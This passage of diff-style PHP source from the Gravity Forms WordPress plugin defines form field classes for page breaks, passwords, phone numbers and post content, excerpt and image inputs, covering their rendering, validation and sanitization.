$field_content = "{$admin_buttons} <label class='gfield_label'>&nbsp;</label><div class='gf-pagebreak-inline gf-pagebreak-container'><div class='gf-pagebreak-text-before'>" . esc_html__( 'end of page', 'gravityforms' ) . "</div><div class='gf-pagebreak-text-main'><span>" . esc_html__( 'PAGE BREAK', 'gravityforms' ) . "</span></div><div class='gf-pagebreak-text-after'>" . esc_html__( 'top of new page', 'gravityforms' ) . '</div></div>';
return $field_content;
}
public function sanitize_settings() {
parent::sanitize_settings();
if ( $this->nextButton ) {
$this->nextButton['imageUrl'] = wp_strip_all_tags( $this->nextButton['imageUrl'] );
$allowed_tags = wp_kses_allowed_html( 'post' );
$this->nextButton['text'] = wp_kses( $this->nextButton['text'], $allowed_tags );
$this->nextButton['type'] = wp_strip_all_tags( $this->nextButton['type'] );
if ( isset( $this->nextButton['conditionalLogic'] ) && is_array( $this->nextButton['conditionalLogic'] ) ) {
$this->nextButton['conditionalLogic'] = $this->sanitize_settings_conditional_logic( $this->nextButton['conditionalLogic'] );
}
}
}
}
GF_Fields::register( new GF_Field_Page() );

View File

@@ -0,0 +1,193 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
add_action( 'gform_after_submission', array( 'GF_Field_Password', 'delete_passwords' ), 100, 2 );
class GF_Field_Password extends GF_Field {
public $type = 'password';
public function get_form_editor_field_title() {
return esc_attr__( 'Password', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'rules_setting',
'input_placeholders_setting',
'sub_labels_setting',
'sub_label_placement_setting',
'description_setting',
'css_class_setting',
'password_strength_setting',
);
}
public function get_form_editor_button() {
return array(); // this button is conditionally added in the form detail page
}
public function get_entry_inputs() {
return null;
}
public function validate( $value, $form ) {
$password = rgpost( 'input_' . $this->id );
$confirm = rgpost( 'input_' . $this->id . '_2' );
if ( $password != $confirm ) {
$this->failed_validation = true;
$this->validation_message = esc_html__( 'Your passwords do not match.', 'gravityforms' );
} elseif ( $this->passwordStrengthEnabled && ! empty( $this->minPasswordStrength ) && ! empty( $password ) ) {
$strength = $_POST[ 'input_' . $this->id . '_strength' ];
$levels = array( 'short' => 1, 'bad' => 2, 'good' => 3, 'strong' => 4 );
if ( $levels[ $strength ] < $levels[ $this->minPasswordStrength ] ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? sprintf( esc_html__( 'Your password does not meet the required strength. %sHint: To make it stronger, use upper and lower case letters, numbers and symbols like ! " ? $ %% ^ & ).', 'gravityforms' ), '<br />' ) : $this->errorMessage;
}
}
}
public function get_field_input( $form, $value = '', $entry = null ) {
if ( is_array( $value ) ) {
$value = array_values( $value );
}
$form_id = $form['id'];
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$is_admin = $is_entry_detail || $is_form_editor;
$id = (int) $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$class_suffix = $is_entry_detail ? '_admin' : '';
$form_sub_label_placement = rgar( $form, 'subLabelPlacement' );
$field_sub_label_placement = $this->subLabelPlacement;
$is_sub_label_above = $field_sub_label_placement == 'above' || ( empty( $field_sub_label_placement ) && $form_sub_label_placement == 'above' );
$sub_label_class_attribute = $field_sub_label_placement == 'hidden_label' ? "class='hidden_sub_label screen-reader-text'" : '';
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$first_tabindex = $this->get_tabindex();
$last_tabindex = $this->get_tabindex();
$strength_style = ! $this->passwordStrengthEnabled ? "style='display:none;'" : '';
$strength_indicator_label = esc_html__( 'Strength indicator', 'gravityforms' );
$strength = $this->passwordStrengthEnabled || $is_admin ? "<div id='{$field_id}_strength_indicator' class='gfield_password_strength' {$strength_style}>
{$strength_indicator_label}
</div>
<input type='hidden' class='gform_hidden' id='{$field_id}_strength' name='input_{$id}_strength' />" : '';
$action = ! $is_admin ? "gformShowPasswordStrength(\"$field_id\");" : '';
$onchange = $this->passwordStrengthEnabled ? "onchange='{$action}'" : '';
$onkeyup = $this->passwordStrengthEnabled ? "onkeyup='{$action}'" : '';
$confirmation_value = rgpost( 'input_' . $id . '_2' );
$password_value = is_array( $value ) ? $value[0] : $value;
$password_value = esc_attr( $password_value );
$confirmation_value = esc_attr( $confirmation_value );
$enter_password_field_input = GFFormsModel::get_input( $this, $this->id . '' );
$confirm_password_field_input = GFFormsModel::get_input( $this, $this->id . '.2' );
$enter_password_label = rgar( $enter_password_field_input, 'customLabel' ) != '' ? $enter_password_field_input['customLabel'] : esc_html__( 'Enter Password', 'gravityforms' );
$enter_password_label = gf_apply_filters( array( 'gform_password', $form_id ), $enter_password_label, $form_id );
$confirm_password_label = rgar( $confirm_password_field_input, 'customLabel' ) != '' ? $confirm_password_field_input['customLabel'] : esc_html__( 'Confirm Password', 'gravityforms' );
$confirm_password_label = gf_apply_filters( array( 'gform_password_confirm', $form_id ), $confirm_password_label, $form_id );
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
$enter_password_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $enter_password_field_input );
$confirm_password_placeholder_attribute = GFCommon::get_input_placeholder_attribute( $confirm_password_field_input );
if ( $is_sub_label_above ) {
return "<div class='ginput_complex$class_suffix ginput_container ginput_container_password' id='{$field_id}_container'>
<span id='{$field_id}_1_container' class='ginput_left'>
<label for='{$field_id}' {$sub_label_class_attribute}>{$enter_password_label}</label>
<input type='password' name='input_{$id}' id='{$field_id}' {$onkeyup} {$onchange} value='{$password_value}' {$first_tabindex} {$enter_password_placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
</span>
<span id='{$field_id}_2_container' class='ginput_right'>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$confirm_password_label}</label>
<input type='password' name='input_{$id}_2' id='{$field_id}_2' {$onkeyup} {$onchange} value='{$confirmation_value}' {$last_tabindex} {$confirm_password_placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
</span>
<div class='gf_clear gf_clear_complex'></div>
</div>{$strength}";
} else {
return "<div class='ginput_complex$class_suffix ginput_container ginput_container_password' id='{$field_id}_container'>
<span id='{$field_id}_1_container' class='ginput_left'>
<input type='password' name='input_{$id}' id='{$field_id}' {$onkeyup} {$onchange} value='{$password_value}' {$first_tabindex} {$enter_password_placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
<label for='{$field_id}' {$sub_label_class_attribute}>{$enter_password_label}</label>
</span>
<span id='{$field_id}_2_container' class='ginput_right'>
<input type='password' name='input_{$id}_2' id='{$field_id}_2' {$onkeyup} {$onchange} value='{$confirmation_value}' {$last_tabindex} {$confirm_password_placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text}/>
<label for='{$field_id}_2' {$sub_label_class_attribute}>{$confirm_password_label}</label>
</span>
<div class='gf_clear gf_clear_complex'></div>
</div>{$strength}";
}
}
public function get_field_label_class(){
return 'gfield_label gfield_label_before_complex';
}
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
/**
* A filter to allow the password to be encrypted (default set to false)
*
* @param bool Whether to encrypt the Password field with true or false
* @param array $form The Current Form Object
*/
$encrypt_password = apply_filters( 'gform_encrypt_password', false, $this, $form );
if ( $encrypt_password ) {
$value = GFCommon::openssl_encrypt( $value );
GFFormsModel::set_openssl_encrypted_fields( $lead_id, $this->id );
}
return $value;
}
public static function delete_passwords( $entry, $form ) {
$password_fields = GFAPI::get_fields_by_type( $form, array( 'password' ) );
$field_ids = array();
$encrypted_fields = GFFormsModel::get_openssl_encrypted_fields( $entry['id'] );
foreach ( $password_fields as $password_field ) {
$field_ids[] = $password_field->id;
GFAPI::update_entry_field( $entry['id'], $password_field->id, '' );
$key = array_search( $password_field->id, $encrypted_fields );
if ( $key !== false ) {
unset( $encrypted_fields[ $key ] );
}
}
if ( empty( $encrypted_fields ) ) {
gform_delete_meta( $entry['id'], '_openssl_encrypted_fields' );
} else {
gform_update_meta( $entry['id'], '_openssl_encrypted_fields', $encrypted_fields );
}
}
}
GF_Fields::register( new GF_Field_Password() );

View File

@@ -0,0 +1,365 @@
<?php
// If Gravity Forms isn't loaded, bail.
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class GF_Field_Phone
*
* Handles the behavior of Phone fields.
*
* @since Unknown
*/
class GF_Field_Phone extends GF_Field {
/**
* Defines the field type.
*
* @since Unknown
* @access public
*
* @var string The field type.
*/
public $type = 'phone';
/**
* Defines the field title to be used in the form editor.
*
* @since Unknown
* @access public
*
* @used-by GFCommon::get_field_type_title()
*
* @return string The field title. Translatable and escaped.
*/
public function get_form_editor_field_title() {
return esc_attr__( 'Phone', 'gravityforms' );
}
/**
* Defines the field settings available within the field editor.
*
* @since Unknown
* @access public
*
* @return array The field settings available for the field.
*/
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'rules_setting',
'visibility_setting',
'duplicate_setting',
'default_value_setting',
'placeholder_setting',
'description_setting',
'phone_format_setting',
'css_class_setting',
);
}
/**
* Defines if conditional logic is supported in this field type.
*
* @since Unknown
* @access public
*
* @used-by GFFormDetail::inline_scripts()
* @used-by GFFormSettings::output_field_scripts()
*
* @return bool true
*/
public function is_conditional_logic_supported() {
return true;
}
/**
* Validates inputs for the Phone field.
*
* @since Unknown
* @access public
*
* @used-by GFFormDisplay::validate()
* @uses GF_Field_Phone::get_phone_format()
* @uses GF_Field_Phone::$validation_message
* @uses GF_Field_Phone::$errorMessage
*
* @param array|string $value The field value to be validated.
* @param array $form The Form Object.
*
* @return void
*/
public function validate( $value, $form ) {
$phone_format = $this->get_phone_format();
if ( rgar( $phone_format, 'regex' ) && $value !== '' && $value !== 0 && ! preg_match( $phone_format['regex'], $value ) ) {
$this->failed_validation = true;
if ( ! empty( $this->errorMessage ) ) {
$this->validation_message = $this->errorMessage;
}
}
}
/**
* Returns the field input.
*
* @since Unknown
* @access public
*
* @used-by GFCommon::get_field_input()
* @uses GF_Field::is_entry_detail()
* @uses GF_Field::is_form_editor()
* @uses GF_Field_Phone::$failed_validation
* @uses GF_Field_Phone::get_phone_format()
* @uses GFFormsModel::is_html5_enabled()
* @uses GF_Field::get_conditional_logic_event()
* @uses GF_Field::get_field_placeholder_attribute()
* @uses GF_Field_Phone::$isRequired
* @uses GF_Field::get_tabindex()
*
* @param array $form The Form Object.
* @param string $value The value of the input. Defaults to empty string.
* @param null|array $entry The Entry Object. Defaults to null.
*
* @return string The HTML markup for the field.
*/
public function get_field_input( $form, $value = '', $entry = null ) {
if ( is_array( $value ) ) {
$value = '';
}
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$form_id = $form['id'];
$id = intval( $this->id );
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$size = $this->size;
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$instruction_div = '';
if ( $this->failed_validation ) {
$phone_format = $this->get_phone_format();
if ( rgar( $phone_format, 'instruction' ) ) {
$instruction_div = sprintf( "<div class='instruction validation_message'>%s %s</div>", esc_html__( 'Phone format:', 'gravityforms' ), $phone_format['instruction'] );
}
}
$html_input_type = RGFormsModel::is_html5_enabled() ? 'tel' : 'text';
$logic_event = $this->get_conditional_logic_event( 'keyup' );
$placeholder_attribute = $this->get_field_placeholder_attribute();
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
$tabindex = $this->get_tabindex();
return sprintf( "<div class='ginput_container ginput_container_phone'><input name='input_%d' id='%s' type='{$html_input_type}' value='%s' class='%s' {$tabindex} {$logic_event} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} %s/>{$instruction_div}</div>", $id, $field_id, esc_attr( $value ), esc_attr( $class ), $disabled_text );
}
/**
* Gets the value of the submitted field.
*
* @since Unknown
* @access public
*
* @used-by GFFormsModel::get_field_value()
* @uses GF_Field::get_value_submission()
* @uses GF_Field_Phone::sanitize_entry_value()
*
* @param array $field_values The dynamic population parameter names with their corresponding values to be populated.
* @param bool $get_from_post_global_var Whether to get the value from the $_POST array as opposed to $field_values. Defaults to true.
*
* @return array|string
*/
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
$value = parent::get_value_submission( $field_values, $get_from_post_global_var );
$value = $this->sanitize_entry_value( $value, $this->formId );
return $value;
}
/**
* Sanitizes the entry value.
*
* @since Unknown
* @access public
*
* @used-by GF_Field_Phone::get_value_save_entry()
* @used-by GF_Field_Phone::get_value_submission()
*
* @param string $value The value to be sanitized.
* @param int $form_id The form ID of the submitted item.
*
* @return string The sanitized value.
*/
public function sanitize_entry_value( $value, $form_id ) {
$value = is_array( $value ) ? '' : sanitize_text_field( $value );
return $value;
}
/**
* Gets the field value when an entry is being saved.
*
* @since Unknown
* @access public
*
* @used-by GFFormsModel::prepare_value()
* @uses GF_Field_Phone::sanitize_entry_value()
* @uses GF_Field_Phone::$phoneFormat
*
* @param string $value The input value.
* @param array $form The Form Object.
* @param string $input_name The input name.
* @param int $lead_id The Entry ID.
* @param array $lead The Entry Object.
*
* @return string The field value.
*/
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
$value = $this->sanitize_entry_value( $value, $form['id'] );
if ( $this->phoneFormat == 'standard' && preg_match( '/^\D?(\d{3})\D?\D?(\d{3})\D?(\d{4})$/', $value, $matches ) ) {
$value = sprintf( '(%s) %s-%s', $matches[1], $matches[2], $matches[3] );
}
return $value;
}
/**
* Outputs any inline scripts to be used when the page is rendered.
*
* @since Unknown
* @access public
*
* @used-by GF_Field::register_form_init_scripts()
* @uses GF_Field_Phone::get_phone_format()
*
* @param array $form The Form Object.
*
* @return string The inline scripts.
*/
public function get_form_inline_script_on_page_render( $form ) {
$script = '';
$phone_format = $this->get_phone_format();
if ( rgar( $phone_format, 'mask' ) ) {
$script = "jQuery('#input_{$form['id']}_{$this->id}').mask('{$phone_format['mask']}').bind('keypress', function(e){if(e.which == 13){jQuery(this).blur();} } );";
}
return $script;
}
/**
* Sanitizes the field settings.
*
* @since Unknown
* @access public
*
* @used-by GFFormDetail::add_field()
* @used-by GFFormsModel::sanitize_settings()
* @uses GF_Field::sanitize_settings()
* @uses GF_Field_Phone::get_phone_format()
* @uses GF_Field_Phone::$phoneFormat
*
* @return void
*/
public function sanitize_settings() {
parent::sanitize_settings();
if ( ! $this->get_phone_format() ) {
$this->phoneFormat = 'standard';
}
}
/**
* Get an array of phone formats.
*
* @since Unknown
* @access public
*
* @used-by GF_Field_Phone::get_phone_format()
*
* @param null|int $form_id The ID of the current form or null to use the value from the current fields form_id property. Defaults to null.
*
* @return array The phone formats available.
*/
public function get_phone_formats( $form_id = null ) {
if ( empty( $form_id ) ) {
$form_id = $this->form_id;
}
$form_id = absint( $form_id );
$phone_formats = array(
'standard' => array(
'label' => '(###) ###-####',
'mask' => '(999) 999-9999',
'regex' => '/^\D?(\d{3})\D?\D?(\d{3})\D?(\d{4})$/',
'instruction' => '(###) ###-####',
),
'international' => array(
'label' => __( 'International', 'gravityforms' ),
'mask' => false,
'regex' => false,
'instruction' => false,
),
);
/**
* Allow custom phone formats to be defined.
*
* @since 2.0.0
*
* @param array $phone_formats The phone formats.
* @param int $form_id The ID of the current form.
*/
$phone_formats = apply_filters( 'gform_phone_formats', $phone_formats, $form_id );
/**
* Filters the custom form inputs only for a specific form ID.
*
* @since 2.0.0
*
* @param array $phone_formats The phone formats.
* @param int $form_id The ID of the current form.
*/
return apply_filters( 'gform_phone_formats_' . $form_id, $phone_formats, $form_id );
}
/**
* Get the properties for the fields selected phone format.
*
* @since Unknown
* @access public
*
* @used-by GF_Field_Phone::get_field_input()
* @used-by GF_Field_Phone::get_form_inline_script_on_page_render()
* @used-by GF_Field_Phone::sanitize_settings()
* @used-by GF_Field_Phone::validate()
* @uses GF_Field_Phone::get_phone_formats()
* @uses GF_Field_Phone::$phoneFormat
*
* @return array The phone format.
*/
public function get_phone_format() {
$phone_formats = $this->get_phone_formats();
return rgar( $phone_formats, $this->phoneFormat );
}
}
// Register the phone field with the field framework.
GF_Fields::register( new GF_Field_Phone() );

View File

@@ -0,0 +1,37 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Post_Category extends GF_Field {
public $type = 'post_category';
public function get_form_editor_field_title() {
return esc_attr__( 'Category', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'post_category_checkbox_setting',
'post_category_initial_item_setting',
'post_category_field_type_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'rules_setting',
'visibility_setting',
'duplicate_setting',
'description_setting',
'css_class_setting',
'conditional_logic_field_setting',
);
}
}
GF_Fields::register( new GF_Field_Post_Category() );

View File

@@ -0,0 +1,61 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
require_once( plugin_dir_path( __FILE__ ) . 'class-gf-field-textarea.php' );
class GF_Field_Post_Content extends GF_Field_Textarea {
public $type = 'post_content';
public function get_form_editor_field_title() {
return esc_attr__( 'Body', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'post_content_template_setting',
'post_status_setting',
'post_category_setting',
'post_author_setting',
'post_format_setting',
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'maxlen_setting',
'rules_setting',
'visibility_setting',
'default_value_textarea_setting',
'placeholder_textarea_setting',
'description_setting',
'css_class_setting',
'rich_text_editor_setting',
);
}
public function allow_html() {
return true;
}
/**
* Filter the rich_editing option for the current user.
*
* @since 2.2.5.14
*
* @param string $value The value of the rich_editing option for the current user.
*
* @return string
*/
public function filter_user_option_rich_editing( $value ) {
return is_user_logged_in() ? $value : 'true';
}
}
GF_Fields::register( new GF_Field_Post_Content() );

View File

@@ -0,0 +1,70 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Post_Custom_Field extends GF_Field {
public $type = 'post_custom_field';
public function get_form_editor_field_title() {
return esc_attr__( 'Custom Field', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'post_custom_field_type_setting',
'post_custom_field_setting',
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'rules_setting',
'visibility_setting',
'duplicate_setting',
'description_setting',
'css_class_setting',
);
}
public function is_conditional_logic_supported() {
return true;
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = absint( $form['id'] );
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = (int) $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$value = esc_attr( $value );
$size = $this->size;
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$class = esc_attr( $class );
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$tabindex = $this->get_tabindex();
$logic_event = $this->get_conditional_logic_event( 'keyup' );
$placeholder_attribute = $this->get_field_placeholder_attribute();
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
return "<div class='ginput_container ginput_container_post_custom_field'>
<input name='input_{$id}' id='{$field_id}' type='text' value='{$value}' class='{$class}' {$tabindex} {$logic_event} {$placeholder_attribute} {$disabled_text} {$required_attribute} {$invalid_attribute} />
</div>";
}
public function allow_html() {
return true;
}
}
GF_Fields::register( new GF_Field_Post_Custom_Field() );

View File

@@ -0,0 +1,124 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Post_Excerpt extends GF_Field {
public $type = 'post_excerpt';
public function get_form_editor_field_title() {
return esc_attr__( 'Excerpt', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'post_status_setting',
'post_category_setting',
'post_author_setting',
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'maxlen_setting',
'rules_setting',
'visibility_setting',
'default_value_textarea_setting',
'placeholder_textarea_setting',
'description_setting',
'css_class_setting',
);
}
public function is_conditional_logic_supported() {
return true;
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = absint( $form['id'] );
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = (int) $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$value = esc_textarea( $value );
$size = $this->size;
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$class = esc_attr( $class );
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$tabindex = $this->get_tabindex();
$logic_event = $this->get_conditional_logic_event( 'keyup' );
$placeholder_attribute = $this->get_field_placeholder_attribute();
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
return "<div class='ginput_container ginput_container_post_excerpt'>
<textarea name='input_{$id}' id='{$field_id}' class='textarea {$class}' {$tabindex} {$logic_event} {$placeholder_attribute} {$required_attribute} {$invalid_attribute} {$disabled_text} rows='10' cols='50'>{$value}</textarea>
</div>";
}
public function allow_html() {
return true;
}
/**
* Format the entry value for when the field/input merge tag is processed. Not called for the {all_fields} merge tag.
*
* Return a value that is safe for the context specified by $format.
*
* @since Unknown
* @access public
*
* @uses GF_Field::get_allowable_tags()
*
* @param string|array $value The field value. Depending on the location the merge tag is being used the following functions may have already been applied to the value: esc_html, nl2br, and urlencode.
* @param string $input_id The field or input ID from the merge tag currently being processed.
* @param array $entry The Entry Object currently being processed.
* @param array $form The Form Object currently being processed.
* @param string $modifier The merge tag modifier. e.g. value
* @param string|array $raw_value The raw field value from before any formatting was applied to $value.
* @param bool $url_encode Indicates if the urlencode function may have been applied to the $value.
* @param bool $esc_html Indicates if the esc_html function may have been applied to the $value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param bool $nl2br Indicates if the nl2br function may have been applied to the $value.
*
* @return string
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
if ( $format === 'html' ) {
$form_id = absint( $form['id'] );
$allowable_tags = $this->get_allowable_tags( $form_id );
if ( $allowable_tags === false ) {
// The value is unsafe so encode the value.
$return = esc_html( $value );
} else {
// The value contains HTML but the value was sanitized before saving.
$return = $value;
}
// If $nl2br is true nl2br() may have already been run in GFCommon::format_variable_value().
if ( ! $nl2br ) {
// Run nl2br() to preserve line breaks when auto-formatting is disabled on notifications/confirmations.
$return = nl2br( $return );
}
} else {
$return = $value;
}
return $return;
}
}
GF_Fields::register( new GF_Field_Post_Excerpt() );

View File

@@ -0,0 +1,196 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
class GF_Field_Post_Image extends GF_Field_Fileupload {
public $type = 'post_image';
public function get_form_editor_field_title() {
return esc_attr__( 'Post Image', 'gravityforms' );
}
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'error_message_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'post_image_setting',
'rules_setting',
'description_setting',
'css_class_setting',
'post_image_featured_image',
);
}
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = $form['id'];
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$is_admin = $is_entry_detail || $is_form_editor;
$id = (int) $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$size = $this->size;
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
$title = esc_attr( rgget( $this->id . '.1', $value ) );
$caption = esc_attr( rgget( $this->id . '.4', $value ) );
$description = esc_attr( rgget( $this->id . '.7', $value ) );
//hiding meta fields for admin
$hidden_style = "style='display:none;'";
$title_style = ! $this->displayTitle && $is_admin ? $hidden_style : '';
$caption_style = ! $this->displayCaption && $is_admin ? $hidden_style : '';
$description_style = ! $this->displayDescription && $is_admin ? $hidden_style : '';
$file_label_style = $is_admin && ! ( $this->displayTitle || $this->displayCaption || $this->displayDescription ) ? $hidden_style : '';
$hidden_class = $preview = '';
$file_info = RGFormsModel::get_temp_filename( $form_id, "input_{$id}" );
if ( $file_info ) {
$hidden_class = ' gform_hidden';
$file_label_style = $hidden_style;
$preview = "<span class='ginput_preview'><strong>" . esc_html( $file_info['uploaded_filename'] ) . "</strong> | <a href='javascript:;' onclick='gformDeleteUploadedFile({$form_id}, {$id});' onkeypress='gformDeleteUploadedFile({$form_id}, {$id});'>" . __( 'delete', 'gravityforms' ) . '</a></span>';
}
//in admin, render all meta fields to allow for immediate feedback, but hide the ones not selected
$file_label = ( $is_admin || $this->displayTitle || $this->displayCaption || $this->displayDescription ) ? "<label for='$field_id' class='ginput_post_image_file' $file_label_style>" . gf_apply_filters( array( 'gform_postimage_file', $form_id ), __( 'File', 'gravityforms' ), $form_id ) . '</label>' : '';
$tabindex = $this->get_tabindex();
$upload = sprintf( "<span class='ginput_full$class_suffix'>{$preview}<input name='input_%d' id='%s' type='file' class='%s' $tabindex %s/>$file_label</span>", $id, $field_id, esc_attr( $class . $hidden_class ), $disabled_text );
$tabindex = $this->get_tabindex();
$title_field = $this->displayTitle || $is_admin ? sprintf( "<span class='ginput_full$class_suffix ginput_post_image_title' $title_style><input type='text' name='input_%d.1' id='%s_1' value='%s' $tabindex %s/><label for='%s_1'>" . gf_apply_filters( array( 'gform_postimage_title', $form_id ), __( 'Title', 'gravityforms' ), $form_id ) . '</label></span>', $id, $field_id, $title, $disabled_text, $field_id ) : '';
$tabindex = $this->get_tabindex();
$caption_field = $this->displayCaption || $is_admin ? sprintf( "<span class='ginput_full$class_suffix ginput_post_image_caption' $caption_style><input type='text' name='input_%d.4' id='%s_4' value='%s' $tabindex %s/><label for='%s_4'>" . gf_apply_filters( array( 'gform_postimage_caption', $form_id ), __( 'Caption', 'gravityforms' ), $form_id ) . '</label></span>', $id, $field_id, $caption, $disabled_text, $field_id ) : '';
$tabindex = $this->get_tabindex();
$description_field = $this->displayDescription || $is_admin ? sprintf( "<span class='ginput_full$class_suffix ginput_post_image_description' $description_style><input type='text' name='input_%d.7' id='%s_7' value='%s' $tabindex %s/><label for='%s_7'>" . gf_apply_filters( array( 'gform_postimage_description', $form_id ), __( 'Description', 'gravityforms' ), $form_id ) . '</label></span>', $id, $field_id, $description, $disabled_text, $field_id ) : '';
return "<div class='ginput_complex$class_suffix ginput_container ginput_container_post_image'>" . $upload . $title_field . $caption_field . $description_field . '</div>';
}
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
$form_id = $form['id'];
$url = $this->get_single_file_value( $form_id, $input_name );
if ( empty( $url ) ) {
return '';
}
if ( ! GFCommon::is_valid_url( $url ) ) {
GFCommon::log_debug( __METHOD__ . '(): aborting; File URL invalid.' );
return '';
}
$image_title = isset( $_POST["{$input_name}_1"] ) ? wp_strip_all_tags( $_POST["{$input_name}_1"] ) : '';
$image_caption = isset( $_POST["{$input_name}_4"] ) ? wp_strip_all_tags( $_POST["{$input_name}_4"] ) : '';
$image_description = isset( $_POST["{$input_name}_7"] ) ? wp_strip_all_tags( $_POST["{$input_name}_7"] ) : '';
return $url . '|:|' . $image_title . '|:|' . $image_caption . '|:|' . $image_description;
}
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
list( $url, $title, $caption, $description ) = rgexplode( '|:|', $value, 4 );
if ( ! empty( $url ) ) {
//displaying thumbnail (if file is an image) or an icon based on the extension
$thumb = GFEntryList::get_icon_url( $url );
$value = "<a href='" . esc_attr( $url ) . "' target='_blank' title='" . __( 'Click to view', 'gravityforms' ) . "'><img src='$thumb'/></a>";
}
return $value;
}
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
$ary = explode( '|:|', $value );
$url = count( $ary ) > 0 ? $ary[0] : '';
$title = count( $ary ) > 1 ? $ary[1] : '';
$caption = count( $ary ) > 2 ? $ary[2] : '';
$description = count( $ary ) > 3 ? $ary[3] : '';
if ( ! empty( $url ) ) {
$url = str_replace( ' ', '%20', $url );
switch ( $format ) {
case 'text' :
$value = $url;
$value .= ! empty( $title ) ? "\n\n" . $this->label . ' (' . __( 'Title', 'gravityforms' ) . '): ' . $title : '';
$value .= ! empty( $caption ) ? "\n\n" . $this->label . ' (' . __( 'Caption', 'gravityforms' ) . '): ' . $caption : '';
$value .= ! empty( $description ) ? "\n\n" . $this->label . ' (' . __( 'Description', 'gravityforms' ) . '): ' . $description : '';
break;
default :
$value = "<a href='$url' target='_blank' title='" . __( 'Click to view', 'gravityforms' ) . "'><img src='$url' width='100' /></a>";
$value .= ! empty( $title ) ? "<div>Title: $title</div>" : '';
$value .= ! empty( $caption ) ? "<div>Caption: $caption</div>" : '';
$value .= ! empty( $description ) ? "<div>Description: $description</div>" : '';
break;
}
}
return $value;
}
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
